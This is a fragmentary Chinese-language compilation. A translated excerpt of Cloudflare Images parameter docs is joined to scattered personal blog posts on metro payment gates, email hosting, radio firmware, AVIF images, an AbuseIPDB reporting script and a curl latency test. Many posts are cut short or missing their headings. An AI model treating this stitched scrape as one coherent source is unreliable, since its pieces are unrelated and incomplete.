当存在客户端提示并且满足以下任何条件时，将应用 slow-connection-quality：

• rtt ↗：大于 150ms。

• save-data ↗：值为 “on”。

• ect ↗：值为 slow-2g|2g|3g 之一。

• downlink ↗：小于 5Mbps。

• URL 格式

1
slow-connection-quality=50
2
scq=50

trim#

移除图像周围的像素。

此功能可用于根据边框颜色或根据指定数量的像素从图像的一侧或多侧修剪图像。

Trim 会考虑 dpr 参数，并在调整大小和旋转之前执行。

border#

根据其边框颜色自动修剪图像的边缘。

可以使用以下参数进一步调整 trim=border 选项：

• trim.border.color — 选择要修剪的边框颜色。接受使用 CSS4 现代语法的任何 CSS 颜色。如果省略，则自动检测颜色。
• trim.border.tolerance — 设置检测到的像素在颜色上必须匹配的程度。接受介于 0（不需要匹配）和 255（必须完全匹配）之间的整数。
• trim.border.keep — 指定要保留不修剪的原始边框的像素数。

top;right;bottom;left#

指定要从图像边缘移除的像素数。接受四个值，用分号分隔，以便一次设置图像所有四边的修剪。

所有修剪值接受整数（像素数）或介于 0 和 1 之间的小数，表示图像尺寸的一部分。例如，0.25 从该侧修剪 25%。

也可以使用以下参数将 Trim 应用于特定侧边：

• trim.top — 从图像顶部移除像素。

• trim.left — 从图像左侧移除像素。

• trim.height — 从图像上边缘设置图像的高度，然后修剪其下方的所有内容。

• trim.width — 从图像左边缘设置图像的宽度，然后修剪其右侧的所有内容。

• URL 格式

• Workers

1
trim=border
2
trim.height=800
3
// 这将图像的高度从图像顶部设置为 800 像素，然后修剪该点下方的所有内容
4

5

6
trim.left=800
7
// 这从图像左侧移除 800 像素
8

9

10
trim=0.1;0.2;0.1;0.2
11
// 这从顶部和底部修剪 10%，从左侧和右侧修剪 20%
12

13

14
trim.top=0.25
15
// 这从顶部修剪图像高度的 25%

展开收起

JavaScript

1
cf: {image: {trim: {top: 12, right: 78, bottom: 34, left: 56, width: 678, height: 678}}}
2
// 使用小数从每侧修剪 10%：
3
cf: {image: {trim: {top: 0.1, right: 0.1, bottom: 0.1, left: 0.1}}}

upscale#

控制需要放大图像时使用的算法。此参数适用于任何放大的 fit 模式，例如 contain、cover 和 scale-up。当 fit=scale-down 或目标尺寸小于源尺寸时，它不起作用。

接受以下值：

• interpolate（默认）— 使用双三次插值，这可能会降低图像质量。这是未指定 upscale 时的默认行为。
• generate — 使用 AI 放大 (ESRGAN ↗) 在放大图像时产生更锐利、更详细的结果。

指定 upscale=generate 时，AI 模型在最近支持的比例（2x 或 4x）运行一次，然后调整为精确的目标尺寸。超过 4x 的比例因子通过 AI 放大到 4x 处理，其余部分使用双三次插值。

注意

由于 GPU 推理，upscale=generate 的延迟高于 upscale=interpolate。结果按照与其他优化相同的 缓存规则 进行缓存。

• URL 格式
• Workers

1
upscale=generate

JavaScript

1
cf: {image: {upscale: "generate"}}

width | w#

使用正整数值设置输出图像的宽度（像素）。默认情况下，Cloudflare 使用输入图像的原始宽度。

设置 width 时，具体行为取决于 fit 参数。

接受以下值：

• 以像素为单位的数字（例如，250）。

• auto — 根据有关浏览器和设备的可用信息，自动以最佳宽度提供图像。接受 wbreakpoints（客户端提示）、wmobile（用户代理检测）和 wdesktop（用户代理检测）作为子参数。

• URL 格式

• Workers

1
width=250
2
w=250

JavaScript

1
cf: {image: {width: 250}}

width=auto 子参数#

指定 width=auto 时，Cloudflare 使用来自客户端提示（由浏览器发送）的信息或通过用户代理检测作为回退来调整图像大小。

您可以使用以下子参数自定义 width=auto 行为：

子参数	描述	默认
wbreakpoints	覆盖默认断点宽度，以像素为单位（客户端提示）	320;768;960;1200
wmobile	覆盖移动设备的默认宽度，以像素为单位（用户代理检测）	768
wdesktop	覆盖桌面设备的默认宽度，以像素为单位（用户代理检测）	1200

使用 width=auto 优化远程图像时，每个唯一的宽度都算作单独的 可计费转换。

要了解 width=auto 的工作原理，请参阅我们关于 提供响应式图像 的指南。

• URL 格式
• Workers

1
wbreakpoints=320;768;960;1920 // 将最大断点更改为 1920 像素
2
wbreakpoints=320;768;960;1200;1920 // 在 1920 像素处添加另一个断点

JavaScript

1
cf: {image: {wbreakpoints: "320;768;960;1920"}}

zoom | face-zoom#

指定当与 gravity=face 选项结合使用时，图像朝向检测到的人脸裁剪的紧密程度。接受介于 0.0（尽可能包含更多背景）和 1.0（尽可能紧密地朝向人脸裁剪图像）之间的有效范围。默认值为 0。

• URL 格式
• Workers

1
zoom=0.1

JavaScript

1
cf: {image: {zoom: 0.5}}

1
{"@context":"https://schema.org","@type":"TechArticle","@id":"https://developers.cloudflare.com/images/optimization/features/#page","headline":"Features · Cloudflare Images docs","description":"Available Cloudflare Images optimization parameters for resizing, cropping, format conversion, and visual effects.","url":"https://developers.cloudflare.com/images/optimization/features/","inLanguage":"en","image":"https://developers.cloudflare.com/dev-products-preview.png","dateModified":"2026-06-16","publisher":{"@type":"Organization","name":"Cloudflare","url":"https://www.cloudflare.com/"},"isPartOf":{"@type":"WebSite","@id":"https://developers.cloudflare.com/#website","name":"Cloudflare Docs","url":"https://developers.cloudflare.com/"}}
2
{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"item":{"@id":"/directory/","name":"Directory"}},{"@type":"ListItem","position":2,"item":{"@id":"/images/","name":"Cloudflare Images"}},{"@type":"ListItem","position":3,"item":{"@id":"/images/optimization/","name":"Optimization"}},{"@type":"ListItem","position":4,"item":{"@id":"/images/optimization/features/","name":"Features"}}]}

1.Ad_closeNN的blog#

Ad_closeNN的blog这是个好人，比较懂网页，给我的网站提供了很多帮助。

elykia#

elykia我怎么我怎么印象中他的博客用的是fuwari😁

kfdzcoffee#

kfdzcoffee没啥好说的，友中的一位。

Pinpe#

Pinpe是友链中的一位。

星雪#

snowtafir也是友链中的一位。

网站给我的第一印象是有点慢

剩下的#

剩下的说实话，我懒得添加了，主要是一个一个截屏复制，好累😂😉 那就这样吧，这个可以直接去友链看。

路过美宜家#

这趟我是专门出门体验深圳地铁的新闸机，计划是从深圳地铁10号线贝尔路站→深圳地铁3号线少年宫站

预计耗时30min，所以我在美宜家花费3cny购买了一瓶康师傅冰红茶

这一段都是在我去地铁口的路上写的，我心中还是很忐忑的，如果没有遇到新闸机不就白跑了吗？

找到闸机#

我寻找了一番，终于找到了闸机，我还以为没有呢，我还心灰意冷了，但是我寻找一番，果然找到了。

咋**可能没有呢？**要是有些站点有，有些站点没有，那不就不能出站了吗？😂

出站#

能不能出站也是个问题

我没有那些真正的外卡 这次我进站的时候使用的是**BOC的万事达卡**，里面存的是**美元，俗称老万事达**（我觉得这张卡能成功！写这句话的时候我买没有出站）

下次进站我打算使用**中国邮政储蓄银行的万事达卡**，这张是**万事网联的卡。 可以走微信/支付宝（这是最坏的情况😓）最惨也不过是用我的深圳通**

过了好久的车终于也是到少年宫站了，先从少年宫3号线部分→少年宫4号线部分（因为少年宫在那边有一个出口可以直接进去） 3号线部分是由深圳地铁运营 4号线部分是由港铁运营

然后呢也是找到了对应的闸机，你去能出站

我没有立马收到扣款短信，不清楚是延迟扣款还是说根本没扣😁😃

深圳书城内部#

里面真是一片欣欣向荣，很多人在看书，玩手机。

到达”全世界最大”的网吧#

换卡测试#

这次我要将要使用刚刚在上文所说的中国邮政储蓄银行的万事达卡，这张卡是万事网联的，所以说要是情况很差的话呢，我们最终可以使用深圳通或者通过微信过闸

返程#

也是很顺利的到达了地铁口，然后找到了闸机，成功的进入，看来这次深圳地铁的这个换新闸机很成功。

出站#

又是耗费半小时终于回到刚刚的始发站，成功出站。

这次更新很成功！

结尾#

其实这一趟我是专门去用这些新的东西， 然后呢我也是特别懒的，没写很多。

本文章呢也只是去阐述一些事实，去真实”*的去记录我做的事，没有去抹黑**，去乱表述，我所做的都只是”记录这件事情*。 有什么问题请联系admin[@]mckero.com**

前因后果#

原本是我什么都不想迁移的我的域名mckero.com好好的，啥事儿没有？ 但是我就是闲着疼，闲的没事儿干，我就是要迁移来玩一玩。

挑选服务商#

服务商有很多个

看完表格，你肯定会有以下这种感觉

1. Google，Microsoft，腾讯偏商业
2. 国际的基本上没有那种免费的
3. 国内的服务商体验较差
4. 基本要钱

首先呢用一个域名邮箱，你肯定得要有一颗折腾的心

• 折腾的心
• 可能得花点小钱
• 可能其实自己用不上 如果你都能满足的话，你可以看一下下面的方案

migadu#

我肯定是第二类（不想免费套餐的小站长） 所以说呢，我挑来拣去我就选择了migadu，为什么呢？ Fastmail收费太贵了！**没有性价比！**我一扫过去一个月五美金！太贵了，有这钱的话，我直接上migadu九美金一个月套餐了。 加上我需求特别低

• 我每天能发5封邮件都算多了
• 接收需求比较高
• 要求能开很多个邮箱
• 最好有别名，这样子可以少开一些邮箱 在这种需求下，肯定是哪家便宜我走哪家呀 migadu Fastmail这两家都提供这个，多开邮箱，多域名（虽然我用不上，我就一个域名）migadu更便宜 Micro 套餐（19$ 每年）：5GiB+ 总存储，每天总计收 200 发 20 条邮件。

最终选择#

那我肯定是选择migadu！😂😂😂

结尾#

其实就是我闲着蛋疼，啥事儿我都不想做，就闲着没事儿干迁移，其实飞书用的好好的，啥事儿没有!

[重要提示] 协议的接受与约束力#

访问者在以任何方式（包括但不限于浏览、抓取、下载、引用）访问本站（blog.mckero.com）时，即视为已完全理解并无条件接受本免责声明的所有条款。本声明构成访客与博主之间具有法律约束力的协议。如果您不同意本声明的任何部分，请立即销毁从本站获取的所有数据并停止访问。

使用cloudlog#

我找了好久终于找到了这个cloudlog（虽然我听说wavelog更好用）但是我还是使用了cloudlog

我的经历#

后续#

我通过了考试，现在在等操作证。

旧版的mcu#

旧版的K6使用的是DP32G030这个mcu。这个mcu有着很高的可玩性。比如Egzumer，Losehu这些固件。都是基于这个DP32G030。这个mcu的生态也是极其的成熟。

新版的mcu#

泉盛uvk6在2025年后半年开始使用新的mcu也就是py32。这就导致了以前的固件无法使用。

适配新mcu的固件#

F4HWN firmware port for the UV-K1 and UV-K5 V3 using the PY32F071 MCU 这款固件适配了，泉盛uvk5 v3和泉盛uvk6 v3（PY32F071 MCU）注意不要刷错了，不要V2刷了这个版本！新版本的K6还可以使用C口直接刷机不需要买写频线了（你也可以继续使用写频线）

请注意！ 这个固件没有真正的大脑。请使用你自己的。使用此固件风险自负。完全不能保证它在你的无线电设备上能以任何方式正常工作，它甚至可能会把你的无线电设备弄坏，如果发生这种情况，你需要再买一个无线电设备。不管怎样，玩得开心。

这个固件做到了很多的功能，比如更好的s表，更多档位的功率（肯定没有超过5W的，就像调节音量，给你更多的细化选择，而非把音量调到超过硬件的性能）频谱分析仪，等等…

更多请查看固件文档

刷入这个固件，建议使用作者推荐的工具UVTools2不过请注意，刷机前请备份校准文件！一定要备份，一定要备份，一定要备份。

最新的v5.10还有一个截图功能，K5Viewe。这是作者在文档上说的教程。注意！K5Viewer 不是一个远程控制工具。

这是我翻译的版本，并不100%准确，请查看原文档

这是一个傻瓜式快速教程：

1. 为你的泉盛 K1 或 K5 刷入 F4HWN 固件
2. 保持对讲机通过 USB 线连接到你的电脑
3. 前往 https://armel.github.io/k5viewer/
4. 点击连接（并选择串口）

就是这样。无需安装。无需配置。即插即用 🤭

结尾#

刷完后就老老实实用着，别折腾了。我之前闲着没事儿，刷完后乱折腾，把电压搞到了600V(尽管这是假的，这是因为校准文件的问题)但是保护机制完美的生效了，无法开机去修改。我刷回原厂固件。但是原厂固件有写入锁，不能去修改。原厂系统自己也不能修改。这就陷入了一个死循环。最后还是我用AI修改了固件代码，重新编译了一个没有保护的版本，开机去修改电压才救回来的。

分析#

这是BD6KIS给我的图片。

“拒用成品二极管，只为致敬经典。 这是一次对二战**‘散兵坑收音机’ (Foxhole Radio)** 的硬核还原，体现了 BD6KIS 对技术细节还原度的追求。

总结#

这台由 BD6KIS 制作的矿石收音机，本质上是一次对无线电基础原理的动手实践。

它剥离了现代电子设备中所有的放大器、解调芯片和电源管理模块，仅利用最基础的材料（刀片、石墨、铜线）去捕捉并还原电磁波。虽然其灵敏度和选择性无法与现代超外差接收机相比，但它以最直观的方式，展示了无线电通信从“电磁波”到“电流”再到“声音”的核心物理链路。

致谢#

感谢 BD6KIS 的深夜调试。

文中实物图片由 BD6KIS 拍摄并授权使用，图片版权归原作者所有，转载请保留此声明。

在代码世界里编译 Linux 内核尚有迹可循，而在深夜用刀片和铅笔芯徒手捕捉电波，则更需要一份令人敬畏的耐心与运气。

73!

经历#

我原本是在测试我的博客的开往是否可以跳转的，试着试着我跳转到了张洪Heo这个博客，我看到他的网站的文章质量很高（文章的封面就很高级，感觉质量很高）

我就点了一下文章摘要，就跳转到了Heo-如何让博客支持AI摘要，使用TianliGPT自动生成文章的AI摘要我看了这篇文章，很有启发，这篇文章讲了如何接入还说了一个平台洪墨AI看了文档后我看到有两种接入方式，插件接入和代码嵌入

接入#

首先，先注册洪墨AI（这个很简单吧？就不细讲了。） 注册后，花8.9左右买点Token 在控制台找到代码生成器往下滑可以找到配置接入代码的地方，你可能需要调整一些设置，比如说字数限制

1
<link rel="stylesheet" href="https://ai.zhheo.com/static/public/tianli_gpt.min.css">
2
<script>
3
let tianliGPT_postSelector = '这里修改为指定参数，详见页面底部的摘要参数配置教程';
4
let tianliGPT_wordLimit = 200;
5
let tianliGPT_Title = '智能摘要';
6
let tianliGPT_key = '项目KEY';
7
</script>
8
<script src="https://ai.zhheo.com/static/public/tianli_gpt.min.js"></script>

日常其实只用改动这些参数 tianliGPT_wordLimit：字数限制 tianliGPT_Title：AI摘要标题

1
<div class="hongmo-ai-container mt-4">
2
    <link rel="stylesheet" href="https://ai.zhheo.com/static/public/tianli_gpt.min.css">
3

4
    <!-- 配置脚本 - 使用 data-astro-rerun 确保每次都执行 -->
5
    <script is:inline data-astro-rerun>
6
        window.tianliGPT_postSelector = '.markdown-content';
7
        window.tianliGPT_postURL = '*/posts/*';
8
        window.tianliGPT_wordLimit = 700;
9
        window.tianliGPT_Title = '智能摘要';
10
        window.tianliGPT_key = 'S-HMJ7UXQGBIAZ0U8Q';
11

12
        // 立即尝试初始化
13
        function tryInitTianliGPT() {
14
            if (typeof window.tianliGPT === 'object' &&
15
                typeof window.tianliGPT.checkURLAndRun === 'function') {
16

17
                // 清除旧的摘要
18
                const old = document.querySelector('#tianliGPT');
19
                if (old) old.remove();
20

21
                // 等待 DOM 和动画
22
                setTimeout(() => {
23
                    if (document.querySelector('.markdown-content')) {
24
                        window.tianliGPT.checkURLAndRun();
25
                        console.log('✓ TianliGPT 初始化成功');
26
                    }
27
                }, 500);
28
            } else {
29
                // 脚本还没加载,继续等待
30
                setTimeout(tryInitTianliGPT, 200);
31
            }
32
        }
33

34
        // 开始尝试
35
        tryInitTianliGPT();
36
    </script>
37

38
    <!-- 主脚本 - 只加载一次 -->
39
    <script is:inline>
40
        // 使用全局标志避免重复加载脚本
41
        if (!window.tianliGPT_scriptLoaded) {
42
            window.tianliGPT_scriptLoaded = true;
43
            const script = document.createElement('script');
44
            script.src = 'https://ai.zhheo.com/static/public/tianli_gpt.min.js';
45
            script.async = true;
46
            document.body.appendChild(script);
47
        }
48
    </script>
49
</div>

AVIF和webP有什么区别#

对我来说，最重要的就是压缩率和兼容性和。

最差实践#

不要把较小的webP图片转换成AVIF！要不然就会想我这样，11KB的webP转换成AVIF后要14KB这就是反向优化！

效果#

这是一个火狐浏览器的图标(PNG格式，298.59KB)

这是转换成AVIF后的大小，15.74KB

不仔细看，看不出什么区别来。

结语#

如果你的博客的读者大部分都是现代浏览器，你可以将你的博客的图片格式转换成AVIF，但是如果你的博客的读者大部分都不使用现代的浏览器，你可能得使用webP。

AbuseIPDB是什么#

AbuseIPDB 是一个专门用于报告和查询恶意 IP 地址的在线数据库。它的主要目标是帮助用户识别和防范与特定 IP 地址相关的滥用行为，例如网络攻击、垃圾邮件、端口扫描和暴力破解等。

它还是由社区驱动的，大部分的数据来源都是源于用户。

如何在AbuseIPDB查看IP？#

AbuseIPDB进入AbuseIPDB的官网后

可以看到在这里就可以查看IP的欺诈度。

我查看一下1.1.1.1

可以看到1.1.1.1是有白名单的，因为这是cloudflare的DNS服务。

注册AbuseIPDB#

点击Sign up

然后会让我们选择API的调用计划 你要是没有大量的需求就不用付费。 所以我就选Free

就会跳转到这个页面，正常填写就好

就是有一个地方要注意，这里如果你不是站长就选个人，如果你是站长(就像我有一个域名和网站,待会要验证站长身份)就选站长，然后填写你的域名。(不是子域名😂)

注册好以后，要邮箱验证，看看邮箱收件箱点一下验证的链接。 站长验证也是很简单，就给你的域名加个TXT记录就好了（不要删除记录，后续可能还要检查）

AbuseIPDB贡献者徽章#

这个徽章我已经挂在我的博客关于

可以看到，还是很美观的，可以实时展示你举报的IP数量。（数量可能有些延迟）

举报IP#

举报IP是通过api的（我当时还不知道😂😂😂） 我就不一个一个curl了，我让ai生成了一个脚本，还算方便。

1
#!/bin/bash
2

3
# ====================================================================================
4
# AbuseIPDB Advanced Reporter Script v2.0
5
#
6
# Features:
7
# - Secure API Key storage in a .conf file.
8
# - Interactive menu for selecting report categories.
9
# - Smart, template-based comment generation with dynamic info gathering.
10
# ====================================================================================
11

12
# --- 配置 ---
13
CONFIG_FILE="abuseipdb.conf"
14
API_ENDPOINT="https://api.abuseipdb.com/api/v2/report"
15

16
# --- 颜色定义 ---
17
GREEN='\033[0;32m'
18
RED='\033[0;31m'
19
YELLOW='\033[1;33m'
20
BLUE='\033[0;34m'
21
NC='\033[0m'
22

23
# --- 全局变量 ---
24
IP_ADDRESS=""
25
CATEGORY_ID=""
26
COMMENT=""
27
TIMESTAMP=""
28

29
# --- 函数：设置/加载API密钥 ---
30
function setup_api_key() {
31
    if [ ! -f "$CONFIG_FILE" ]; then
32
        echo -e "${YELLOW}配置文件 '$CONFIG_FILE' 未找到。${NC}"
33
        read -p "请输入您的 AbuseIPDB API Key: " new_key
34
        if [ -z "$new_key" ]; then
35
            echo -e "${RED}错误：API Key 不能为空。退出脚本。${NC}"; exit 1;
36
        fi
37
        echo "API_KEY=\"$new_key\"" > "$CONFIG_FILE"
38
        echo -e "${GREEN}API Key 已成功保存到 '$CONFIG_FILE'。${NC}\n"
39
    fi
40
    source "$CONFIG_FILE"
41
    if [ -z "$API_KEY" ]; then
42
        echo -e "${RED}错误：在 '$CONFIG_FILE' 中找不到 API_KEY 或其值为空。${NC}"; exit 1;
43
    fi
44
}
45

46
# --- 函数：处理暴力破解 [18] ---
47
function handle_brute_force() {
48
    CATEGORY_ID="18"
49
    echo -e "\n${YELLOW}请输入暴力破解攻击的详细信息...${NC}"
50
    read -p "  -> 攻击的服务 (e.g., SSH, FTP, SMTP, WordPress): " service_name
51
    read -p "  -> 尝试的用户名 (留空则忽略): " username
52

53
    COMMENT="Automated report: Brute-force attack detected on service '$service_name' from IP $IP_ADDRESS at $TIMESTAMP."
54
    if [ -n "$username" ]; then
55
        COMMENT+=" Multiple failed login attempts were recorded for username '$username'."
56
    fi
57
}
58

59
# --- 函数：处理SSH攻击 [22] ---
60
function handle_ssh() {
61
    CATEGORY_ID="22"
62
    echo -e "\n${YELLOW}请输入SSH攻击的详细信息...${NC}"
63
    read -p "  -> 尝试的用户名 (e.g., root, admin. 留空则忽略): " username
64

65
    COMMENT="Automated report: SSH brute-force attack detected from IP $IP_ADDRESS at $TIMESTAMP."
66
    if [ -n "$username" ]; then
67
        COMMENT+=" Multiple failed login attempts were recorded for username '$username'."
68
    else
69
        COMMENT+=" Multiple failed login attempts were recorded with various usernames."
70
    fi
71
}
72

73
# --- 函数：处理端口扫描 [14] ---
74
function handle_port_scan() {
75
    CATEGORY_ID="14"
76
    echo -e "\n${YELLOW}请输入端口扫描的详细信息...${NC}"
77
    read -p "  -> 扫描的端口号 (e.g., 22, 80, 443. 留空则忽略): " scanned_ports
78

79
    COMMENT="Automated report: Port scan detected from IP $IP_ADDRESS at $TIMESTAMP."
80
    if [ -n "$scanned_ports" ]; then
81
        COMMENT+=" Scanned ports include: $scanned_ports."
82
    fi
83
}
84

85
# --- 函数：处理Web攻击 [21] ---
86
function handle_web_attack() {
87
    CATEGORY_ID="21"
88
    echo -e "\n${YELLOW}请输入Web攻击的详细信息...${NC}"
89
    read -p "  -> 攻击的目标域名 (e.g., example.com): " target_host
90
    read -p "  -> 访问的恶意路径 (e.g., /wp-login.php): " request_path
91

92
    COMMENT="Automated report: Web attack attempt detected on host '$target_host' from IP $IP_ADDRESS at $TIMESTAMP."
93
    COMMENT+=" The attacker accessed the malicious path: '$request_path'."
94
}
95

96
# --- 函数：处理恶意Web机器人 [20] ---
97
function handle_bad_bot() {
98
    CATEGORY_ID="20"
99
    echo -e "\n${YELLOW}请输入恶意Web机器人的详细信息...${NC}"
100
    read -p "  -> 访问的目标域名 (e.g., example.com): " target_host
101
    read -p "  -> 访问的路径 (e.g., /): " request_path
102
    read -p "  -> 机器人的User-Agent (留空则忽略): " user_agent
103

104
    COMMENT="Automated report: Bad Web Bot activity detected on host '$target_host' from IP $IP_ADDRESS at $TIMESTAMP."
105
    COMMENT+=" The bot was blocked while accessing '$request_path'."
106
    if [ -n "$user_agent" ]; then
107
        COMMENT+=" User-Agent: '$user_agent'."
108
    fi
109
}
110

111
# --- 函数：处理自定义输入 ---
112
function handle_custom() {
113
    echo -e "\n${YELLOW}请输入自定义举报信息...${NC}"
114
    read -p "  -> 自定义类别ID (例如 18,21): " CATEGORY_ID
115
    if [ -z "$CATEGORY_ID" ]; then echo -e "${RED}类别ID不能为空。${NC}"; return 1; fi
116
    read -p "  -> 自定义评论: " COMMENT
117
    if [ -z "$COMMENT" ]; then echo -e "${RED}评论不能为空。${NC}"; return 1; fi
118
}
119

120

121
# --- 主程序 ---
122
function main() {
123
    setup_api_key
124
    while true; do
125
        clear
126
        echo -e "${BLUE}==========================================${NC}"
127
        echo -e "${BLUE}    AbuseIPDB 高级举报脚本 v2.0    ${NC}"
128
        echo -e "${BLUE}==========================================${NC}"
129

130
        read -p "请输入您要举报的IP地址: " IP_ADDRESS
131
        if [ -z "$IP_ADDRESS" ]; then
132
            echo -e "${RED}错误：IP地址不能为空。${NC}"; sleep 2; continue;
133
        fi
134

135
        echo -e "\n${YELLOW}请选择一个举报类别 (输入数字):${NC}"
136
        echo " 1) [18] Brute-Force (暴力破解)"
137
        echo " 2) [22] SSH (SSH登录攻击)"
138
        echo " 3) [14] Port Scan (端口扫描)"
139
        echo " 4) [21] Web Attack / Hacking (Web攻击)"
140
        echo " 5) [20] Bad Web Bot (恶意网络机器人)"
141
        echo " 9) [自定义] 手动输入所有信息"
142
        echo " q) [退出]"
143
        read -p "您的选择: " choice
144

145
        # 重置变量并获取当前时间戳
146
        CATEGORY_ID=""
147
        COMMENT=""
148
        TIMESTAMP=$(date -u +"%Y-%m-%dT%H:%M:%SZ")
149

150
        # 根据选择调用相应的处理函数
151
        case "$choice" in
152
            1) handle_brute_force ;;
153
            2) handle_ssh ;;
154
            3) handle_port_scan ;;
155
            4) handle_web_attack ;;
156
            5) handle_bad_bot ;;
157
            9) handle_custom ;;
158
            q|Q) echo -e "${GREEN}感谢使用，再见！${NC}"; exit 0 ;;
159
            *) echo -e "${RED}无效的选择，请重试。${NC}"; sleep 2; continue ;;
160
        esac
161

162
        # 检查处理函数是否成功设置了变量
163
        if [ -z "$CATEGORY_ID" ] || [ -z "$COMMENT" ]; then
164
            echo -e "${RED}信息不完整，返回主菜单。${NC}"; sleep 2; continue;
165
        fi
166

167
        echo -e "\n${BLUE}--- 请确认最终举报信息 ---${NC}"
168
        echo -e "  IP 地址: ${GREEN}$IP_ADDRESS${NC}"
169
        echo -e "  类别 ID: ${GREEN}$CATEGORY_ID${NC}"
170
        echo -e "  最终评论: ${GREEN}$COMMENT${NC}"
171
        read -p "确认提交举报吗? (y/n): " confirm
172

173
        if [[ "$confirm" =~ ^[Yy]$ ]]; then
174
            echo -e "\n${YELLOW}正在提交举报...${NC}"
175
            RESPONSE=$(curl -s --request POST \
176
                 --url "$API_ENDPOINT" \
177
                 --header "Accept: application/json" \
178
                 --header "Key: $API_KEY" \
179
                 --data-urlencode "ip=$IP_ADDRESS" \
180
                 --data-urlencode "categories=$CATEGORY_ID" \
181
                 --data-urlencode "comment=$COMMENT")
182

183
            echo -e "${BLUE}--- 服务器响应 ---${NC}"
184
            if command -v jq &> /dev/null; then
185
                echo "$RESPONSE" | jq
186
            else
187
                echo "$RESPONSE"
188
            fi
189
            echo -e "${BLUE}--------------------${NC}"
190
        else
191
            echo -e "${RED}操作已取消。${NC}"
192
        fi
193

194
        read -p "按 [Enter] 键继续或按 [Ctrl+C] 退出..."
195
    done
196
}
197

198
# --- 运行主程序 ---
199
main

感觉良好。我试用了一下，还是很好的举报类别可以在AbuseIPDB api调用文档查，这里只有几个常用的。

cloudflare argo smart routing是什么时候出现的？#

据我所知可能是2017年，或者2019年。

cloudflare argo smart routing有什么作用？#

blog.cloudflare.com上说：“启用Argo智能路由可以**平均减少33％**的HTTP第一个字节到达时间（TTFB）。”并且还可以优化回源速度（从cdn到源服务器的速度）

cloudflare argo smart routing的订阅费用#

cloudflare argo smart routing的订阅费用还是有点很贵的，它是用流量计费的！ 但是如果你的网站的流量很多的话，那账单就很贵，但是如果没什么流量的话，cloudflare argo smart routing又学习不到什么（就是效果不好,argo smart routing是需要流量学习的）如果你的网站流量很大还是建议买Pro。

cloudflare argo smart routing测试TTFB和ip#

效果可能不是很好，因为我的源站就在cloudflare pages，cloudflare argo smart routing的主要效果就是减少TTFB，我现在关闭cloudflare argo smart routing测试一下TTFB。我先是用curl测试。 这是我用ai生成的命令。

1
echo "=== IPv4 测试 ===" && \
2
curl -4 -w "\n性能指标 (IPv4):\n状态码: %{http_code}\nTTFB: %{time_starttransfer}s\nDNS: %{time_namelookup}s\nTCP: %{time_connect}s\nTLS: %{time_appconnect}s\n总时间: %{time_total}s\n速度: %{speed_download} B/s\n大小: %{size_download} bytes\n远程IP: %{remote_ip}:%{remote_port}\n" \
3
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" \
4
  -H "Accept-Language: zh-CN,zh;q=0.9" \
5
  -o /dev/null -s \
6
  https://blog.mckero.com/ && \
7
echo "" && echo "=== IPv6 测试 ===" && \
8
curl -6 -w "\n性能指标 (IPv6):\n状态码: %{http_code}\nTTFB: %{time_starttransfer}s\nDNS: %{time_namelookup}s\nTCP: %{time_connect}s\nTLS: %{time_appconnect}s\n总时间: %{time_total}s\n速度: %{speed_download} B/s\n大小: %{size_download} bytes\n远程IP: %{remote_ip}:%{remote_port}\n" \
9
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" \
10
  -H "Accept-Language: zh-CN,zh;q=0.9" \
11
  -o /dev/null -s \
12
  https://blog.mckero.com/

这是测试结果（广东深圳移动，没开cloudflare argo smart routing）

1
=== IPv4 测试 ===
2

3
性能指标 (IPv4):
4
状态码: 200
5
TTFB: 2.401583s
6
DNS: 0.639793s
7
TCP: 1.252995s
8
TLS: 1.898642s
9
总时间: 4.961801s
10
速度: 89573 B/s
11
大小: 444444 bytes
12
远程IP: 104.21.40.129:443
13

14
=== IPv6 测试 ===
15

16
性能指标 (IPv6):
17
状态码: 200
18
TTFB: 1.316419s
19
DNS: 0.548081s
20
TCP: 0.726425s
21
TLS: 1.054573s
22
总时间: 3.051245s
23
速度: 145659 B/s
24
大小: 444444 bytes
25
远程IP: 2606:4700:3031::ac43:97f0:443